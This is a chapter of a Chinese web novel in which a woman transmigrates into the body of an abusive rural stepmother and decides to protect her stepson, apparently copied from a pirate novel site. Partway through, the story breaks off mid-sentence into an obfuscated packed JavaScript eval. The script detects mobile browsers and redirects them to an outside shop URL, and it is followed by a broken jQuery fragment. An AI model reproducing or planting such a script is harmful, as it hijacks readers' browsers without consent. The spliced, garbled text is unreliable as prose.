文趣网 > 其他小说 > 年代文后娘是心软的神 > 2. 穿成年代文恶毒继母
    "说就说!当谁怕你不成?!”

    “你讲讲,干什么去了?啊?现在才回来,饭也没做,柴也不劈,这这这一院子鸡毛,等着我给你扫呢?!"

    朱培杰骂起人来一套一套的,显然平时没少数落这个大他一岁,没什么血缘关系的哥哥。

    连一旁的江妩都觉得刺耳,被谩骂的人却像是没听见一样。叶骏生把锄头靠在土墙边,从大缸里舀了两瓢水,弯腰搓干净小腿上的黄泥,似乎对这些指责早就习以为常。

    从江妩这个角度,只瞧见小伙弓起的脊背和短茬似的寸头,还有转身舀水的时候,短褂背后一大块汗透的深色。

    叶骏生知道朱培杰待会骂累了就会自己闭嘴,所以干脆不给他反应,省得他来劲。一连几天不下雨,地里干硬,他废了一早上的功夫耕开一半,下午还得继续干,实在没那力气和他掰扯。

    “屁大点活有那么忙!”这边上蹿下跳的人嘴里还不歇。

    “你要是早回来娘也不至于被人找上门……”

    冷不丁地,水花溅起的动静突兀响起,叶骏生听到这里喝水的动作一顿,紧接着猛地把嘴边的葫芦瓢摔回缸里,溅起的水珠飞到他的眼皮上,他眼睛也不眨。被他黑脸的气势摄到,朱培杰漫骂越来越小,吞吞口水,不自觉地收声。

    江妩听着居然没了动静,一抬头,就看见原本站在水缸边的人一改无谓的表情,脸含隐怒地冲着这边走来。长手长脚的少年迈开步,速度也很快,直到近处江妩才发现,虽两个男孩仅仅差一岁,但叶俊生却高了亲儿子半个头不止,肩膀也更宽阔。

    矮瘦的朱培杰在他的逼近下不自觉就弱了气势,心里发怂,口上直嚷,“干……干什么?你还要打、打我不成?!”

    叶骏生却理也不理他,只是盯着他身旁的人,目光中带着冰碴子一样的审视。

    江妩发现他看的确实是自己,准确来说视线落在她遭乱的头发、褶皱的衣领、以及红肿的脸颊上,她的手背上还带着指甲挠的印,明显动手的是女人。

    "你!"叶骏生猛吸一口气,眉目间的怒意像是淬了火,“你还要不要脸了!”

    “这次又是勾搭的谁……”

    “我爹死的时候,你在他床头是怎么保证的?!”

    喊出最后一句话的时候,他控制不住地嗓子发涩,江妩看见他捏紧的拳头,不由叹气,心道从进门至今,也就此刻,才从他身上看到小白菜的影子。大概早就明白自己这个继母不是好人,骤然失怙的男主过早成熟,连愤怒都是克制的,可少年的忍让并没有换来继母的安分守己,反倒让人越发没了顾及。

    如果穿来的是其他的任务者,接下来应该会三年如一日地作践他,让他干活、挨饿,连夜把他赶到漏雨的猪圈里睡,后来还让他上山找野参,遇上狼慌不择路摔断了腿……虽然后面让女主角治好了,但年少残疾的那段时光,让叶骏生错失机遇,遭受了数不清的白眼和嘲笑。

    江妩叹息,说到底,只是个15岁的少年,在现实世界中,这个年纪的小孩个个是家里的小皇帝,哪里用面朝黄土、风吹日晒,更别说还要招架后娘的辱骂、继弟的刁难。

    江妩做不到为了自己的业绩奖金,这样迫害一个孩子,尤其瞥见他泛红的眼角,想起答应他父亲的承诺——照顾叶骏生三年,三年后,不拘她改不改嫁,老宅或田地任一样过给她。

    原本的朱玉兰是打着房子和地都占的算盘,才会在三年内想方设法地把继子整残,使他丧失争夺家产的能力,但现在江妩来了,自然不会做这种鹌鹑事。她打算按照约定,监护叶骏生三年,等他成年后只要老宅,反正凭男主的聪明,以后肯定往省城发展,而她就留在农村做个普普通通的老太太,安享晚年。

    叶骏生见江妩不答,甚至露出回忆思索的神情

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609233|205869||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,还当她连老爹临死前的承诺都能忘了,气得咬牙捏拳,只觉得整个人像是泡在腊月的冰湖里,心寒到发抖。

    “嘿,我说叶骏生你胆量见长啊,敢这么跟我娘说话,”见眼前人凶的不是自己,朱培杰胆子又大起来,在江妩耳边一个劲地煽风,“……娘你看,他还敢瞪你呢,罚他今天不准吃饭,让他嚣张。”

    江妩一言难尽地看了身边一眼,只觉得这个亲儿子唯恐天下不乱,果真就实力作死,她转向少年,刚要发话,却见目睹母子俩表现的叶骏生克制地闭了闭眼,仿佛已经对面前这对母子失望到了极致,深吸一口气,再不肯多说一个字地扭头冲进了小屋。

    “嚯,你什么态度你,信不信我……”

    “够了。”江妩皱眉,开口叫住他。

    朱培杰睨着她的脸色,小心翼翼地道:“娘,你怎么了,是不是被那小子气着了?”

    江妩顶着一头凌乱的头发,摇了摇头。

    “那是……哪里疼?”朱培杰心疼地拈掉他娘头发上的鸡毛,故意发狠道,“别给我晓得是谁欺负的你,不然一定要逮来把她牙打掉。”

    闻言,江妩淡淡瞧他一眼,道:“打我的婆娘是陈皮家的,应该还没走远。”

    朱培杰瞬间犹豫,“陈皮媳妇……不是杀猪的吗,娘啊,我、我可不是怕她……主要我这小腿抽筋走不动……”

    木屋的门开了又关,叶骏生拿着耙子从柴房走出来,看也不看院子里母子俩,直直就往大门走。

    “喂,午饭不做你去哪!”朱培杰连忙道。

    叶骏生充耳不闻,很快消失在门外。

    “娘,他连饭都不做了,存心想饿死我们娘俩。”小儿子气愤难当地找娘告状,却不想他娘不在意地笑笑,说了句朱培杰长这么大从没听过的话。

    “有手还能被饿死了?”

    “给我生火,我来做。”